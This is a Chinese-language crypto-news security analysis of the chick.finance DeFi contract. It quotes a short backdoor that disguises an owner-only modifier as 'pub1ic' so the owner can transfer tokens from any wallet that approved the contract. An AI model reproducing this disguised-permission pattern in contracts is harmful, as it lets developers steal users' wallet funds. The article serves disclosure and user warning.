header-langage
简体中文
繁體中文
English
Tiếng Việt
한국어
日本語
ภาษาไทย
Türkçe
掃碼下載APP
Partnered With:

chick.finance是怎麼通過惡意合約代碼「偷」走代幣的?

閱讀本文需 6 分鐘
對於任何給該合約授權了的用戶,開發者都能把你錢包裏的代幣一掃而空

原文標題:《關於 DeFi 流動性挖礦項目 chick.finance 惡意合約代碼的詳細分析》

原文來源:比特派


前言:8月24日,YFII 社區核心開發者在審計 Vault 機槍池備選項目 click.finance 合約時發現,即將上線的流動性挖礦項目 chick.finance 的合約代碼與 GitHub 平臺展示的不同,modifer 被惡意修改爲「pub1ic」,這導致該項目存在資金危險。


就在剛剛,YFII 通報了 chick.finance 合約代碼的風險,不過其中提到的「用戶充值的所有代幣,開發者都有權限提取」這句話其實並不是完全準確的,因此在這裏我們需要給大家做下更詳細的描述:


該合約惡意代碼的問題並不在於「開發者事發後能提取用戶存在合約中的代幣」(開發者本來就能幹這事兒),而在於對於任何給該合約授權了的用戶,開發者都能把你錢包裏的代幣一掃而空(不僅僅是你存入合約的),這正是比特派安全實驗室在之前的那篇《以太坊 Defi 生態當前最大的安全隱患》一文中提到的「濫用合約授權問題」。


惡意代碼是如下這段:function startReward(address _from, uint256 amount) external pub1ic{        weth.safeTransferFrom(_from, owner(), amount);    }


開發者對故意拼寫錯誤的 pub1ic 做了如下約束(也就是隻有合約 Owner 才能調用,如果沒這個調用,那就變成誰都能幹這事兒了,開發者想的是自己偷,肯定不想讓別人偷)


modifier pub1ic() {        require(isOwner(), "Ownable: caller is not the owner");        _;    }


上述代碼的邏輯很簡單,乾的就是那些給這個合約授權了的用戶,合約 Owner 都能把你的代幣轉給 Owner,就這麼簡單。


這其實是 DeFi 生態裏非常嚴重的惡性事件,理應引起全行業的重視,因爲這次可能惡意開發者只是用拼寫錯誤的方式來試圖矇騙大家(把 public 寫成 pub1ic),然後很幸運的第一時間被發現了,那下次呢?是不是可以寫出邏輯複雜並且很難被看出來的漏洞,靜靜的等待上線把各位的錢包一掃而空呢?要再次強調的是,這個例子中,您損失的可不僅僅是您存入合約的資產,而是你錢包裏的全部資產,明白了嗎?


我們之前在向全行業提出「濫用合約授權」問題的時候,就曾預計到可能會有開發者作惡的情況出現,沒想到這一天來的這麼快,這次代碼僞裝的比較蠢,那下次呢?下次 DeFi 礦工們是否還能躲得過去了呢?


相關閱讀:《警告:流動性挖礦項目 chick.finance 合約存在致命風險,請不要參與》


原文地址



歡迎加入律動 BlockBeats 官方社群:

Telegram 訂閱群:https://t.me/theblockbeats

Telegram 交流群:https://t.me/BlockBeats_App

Twitter 官方帳號:https://twitter.com/BlockBeatsAsia

举报 糾錯/舉報
選擇文庫
新增文庫
取消
完成
新增文庫
僅自己可見
公開
保存
糾錯/舉報
提交